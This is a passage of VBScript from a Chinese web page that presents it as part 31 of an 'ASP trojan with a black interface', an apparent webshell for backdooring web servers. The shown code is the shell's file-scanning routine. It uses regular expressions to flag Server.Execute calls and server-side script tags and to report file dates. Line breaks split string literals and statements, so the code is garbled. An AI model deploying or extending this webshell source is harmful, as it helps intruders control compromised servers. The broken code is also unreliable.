一款不错的asp木马 黑色界面(31)

            End If
        Next
        Set Matches = Nothing
        Set regEx = Nothing
        Set regEx = New RegExp
        regEx.IgnoreCase = True
        regEx.Global = True
        regEx.Pattern = "Server.(Exec"&"ute|Transfer)([ \t]
*|\()[^""]\)"
        If regEx.Test(filetxt) Then
            Report = 
Report&"<tr><td>"&temp&"</td><td>Server.Exec"&"ute</td><td><font 
color=red>不能跟踪检查Server.e"&"xecute()函数执行的文件。
</font><br>"&infiles&"</td><td>"&GetDateCreate(filepath)
&"<br>"&GetDateModify(filepath)&"</td></tr>"
            Sun = Sun + 1
        End If
        Set Matches = Nothing
        Set regEx = Nothing
        Set XregEx = New RegExp
        XregEx.IgnoreCase = True
        XregEx.Global = True
        XregEx.Pattern = "<scr"&"ipt\s*(.|\n)*?runat\s*=\s*""?
server""?(.|\n)*?>"
        Set XMatches = XregEx.Execute(filetxt)
        For Each Match in XMatches
            tmpLake2 = Mid(Match.Value, 1, InStr
(Match.Value, ">"))
            srcSeek = InStr(1, tmpLake2, "src", 1)
            If srcSeek > 0 Then
                srcSeek2 = instr(srcSeek, tmpLake2, 
"=")
                For i = 1 To 50
                    tmp = Mid(tmpLake2, srcSeek2 +